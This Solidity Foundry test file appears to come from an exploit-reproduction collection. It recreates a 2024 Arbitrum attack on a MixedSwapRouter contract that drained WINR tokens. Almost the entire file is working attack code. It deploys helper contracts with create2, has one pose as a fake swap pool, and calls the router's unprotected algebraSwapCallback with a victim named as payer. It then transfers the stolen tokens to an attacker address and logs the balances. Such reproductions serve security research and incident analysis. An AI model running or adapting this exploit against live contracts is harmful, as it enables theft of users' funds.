src/test/2024-05/MixedSwapRouter_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import ".././interface.sol";
6 
7// @KeyInfo - Total Lost : Lost: =>10000 USD(WINR tokens)
8// TX : https://app.blocksec.com/explorer/tx/arbitrum/0xf57f041cb6d8a10e11edab50b84e49b59ff834c7d114d1e049cedd654c36194d
9 
10// Attacker :https://arbiscan.io/address/0xfeef112831cc8f790abe71b4b196c220ee26ecf3
11// Attack Contract :https://arbiscan.io/address/0x4fba400b95cd9e3d7e4073ad6e6bbaf41e640cdf
12// Vulnerable Contract :https://arbiscan.io/address/0x58637aaac44e2a2f190d9e1976e236d86d691542
13 
14// @Analysis
15// https://x.com/ChainAegis/status/1796484286738227579
16 
17interface MixedSwapRouter {
18    struct ExactInputParams {
19        bytes path;
20        address recipient;
21        uint256 deadline;
22        uint256 amountIn;
23        uint256 amountOutMin;
24        address[] pool;
25    }
26 
27    struct SwapCallbackData {
28        bytes path;
29        address payer;
30        address pool;
31    }
32 
33    function swapTokensForTokens(
34        ExactInputParams memory params
35    ) external;
36    function algebraSwapCallback(int256 amount0, int256 amount1, bytes calldata data) external;
37}
38 
39contract ContractTest is Test {
40    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
41    IERC20 WINR = IERC20(0xD77B108d4f6cefaa0Cae9506A934e825BEccA46E);
42    address owner;
43    address victim = 0xb6d566c4d645ab640fc6Ac362f233dCFB5621f7C;
44    MixedSwapRouter Swaprouter = MixedSwapRouter(0xE3E98241CB99AF7a452e94B9cf219aAa766e0869);
45 
46    function setUp() external {
47        cheats.createSelectFork("arbitrum", 216_881_055);
48    }
49 
50    function testExploit() external {
51        attack();
52    }
53 
54    function attack() internal {
55        address one = create_contract(1);
56    }
57 
58    function cal_address(
59        uint256 time
60    ) internal returns (address) {
61        bytes memory bytecode = type(Exploit).creationCode;
62        uint256 _salt = time;
63        bytecode = abi.encodePacked(bytecode);
64        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
65        address hack_contract = address(uint160(uint256(hash)));
66        return hack_contract;
67    }
68 
69    function create_contract(
70        uint256 times
71    ) internal returns (address) {
72        uint256 i = 0;
73        while (i < times) {
74            bytes memory bytecode = type(Exploit).creationCode;
75            uint256 _salt = i;
76            bytecode = abi.encodePacked(bytecode);
77            bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
78            address hack_contract = address(uint160(uint256(hash)));
79            address addr;
80            // Use create2 to send money first.
81            assembly {
82                addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
83            }
84            i++;
85            return hack_contract;
86        }
87    }
88 
89    receive() external payable {}
90}
91 
92contract Exploit is Test {
93    IERC20 WINR = IERC20(0xD77B108d4f6cefaa0Cae9506A934e825BEccA46E);
94    address owner;
95    MixedSwapRouter Swaprouter = MixedSwapRouter(0xE3E98241CB99AF7a452e94B9cf219aAa766e0869);
96 
97    constructor() {
98        owner = msg.sender;
99        attacks();
100    }
101 
102    function attacks() internal {
103        address two = create_contract(2);
104        address[] memory pools = new address[](1);
105        pools[0] = address(two);
106        MixedSwapRouter.ExactInputParams memory pgs = MixedSwapRouter.ExactInputParams({
107            path: hex"d77b108d4f6cefaa0cae9506a934e825becca46e000000d77b108d4f6cefaa0cae9506a934e825becca46e",
108            recipient: address(this),
109            deadline: block.timestamp + 1000,
110            amountIn: 10,
111            amountOutMin: 10,
112            pool: pools
113        });
114        Swaprouter.swapTokensForTokens(pgs);
115    }
116 
117    function create_contract(
118        uint256 times
119    ) internal returns (address) {
120        uint256 i = 0;
121        while (i < times) {
122            bytes memory bytecode = type(Moneys).creationCode;
123            uint256 _salt = i;
124            bytecode = abi.encodePacked(bytecode);
125            bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
126            address hack_contract = address(uint160(uint256(hash)));
127            address addr;
128            // Use create2 to send money first.
129            assembly {
130                addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
131            }
132            i++;
133            return hack_contract;
134        }
135    }
136 
137    fallback() external payable {}
138}
139 
140contract Moneys is Test {
141    IERC20 WINR = IERC20(0xD77B108d4f6cefaa0Cae9506A934e825BEccA46E);
142    address owner;
143    address Victim = 0xb6d566c4d645ab640fc6Ac362f233dCFB5621f7C;
144    MixedSwapRouter Swaprouter = MixedSwapRouter(0xE3E98241CB99AF7a452e94B9cf219aAa766e0869);
145    //Example/Attacker's address
146    address test = 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496;
147 
148    event data(bytes data);
149 
150    constructor() {
151        owner = msg.sender;
152    }
153 
154    function fee() public returns (uint256) {
155        return 0;
156    }
157 
158    function token0() public returns (address) {
159        return address(WINR);
160    }
161 
162    function token1() public returns (address) {
163        return address(WINR);
164    }
165 
166    function swap(
167        address recipient,
168        bool zeroForOne,
169        int256 amountSpecified,
170        uint160 sqrtPriceLimitX96,
171        bytes calldata data
172    ) public returns (uint256, uint256) {
173        emit log_named_decimal_uint("Vicitm WINR balance before exploit", WINR.balanceOf(address(Victim)), 18);
174        emit log_named_decimal_uint("Attacker WINR balance before exploit", WINR.balanceOf(address(this)), 18);
175        MixedSwapRouter.SwapCallbackData memory Params = MixedSwapRouter.SwapCallbackData({
176            path: hex"d77b108d4f6cefaa0cae9506a934e825becca46e000000d77b108d4f6cefaa0cae9506a934e825becca46e",
177            payer: address(Victim),
178            pool: address(this)
179        });
180        bytes memory encodedParams = abi.encode(Params);
181        Swaprouter.algebraSwapCallback(-20_057_735_863_910_611_438, 293_182_421_809_175_367_609_122, encodedParams);
182        emit log_named_decimal_uint("Vicitm WINR balance after exploit", WINR.balanceOf(address(Victim)), 18);
183        emit log_named_decimal_uint("Attacker WINR balance after exploit", WINR.balanceOf(address(this)), 18);
184        WINR.transfer(address(test), WINR.balanceOf(address(this)));
185        return (10, 10);
186    }
187}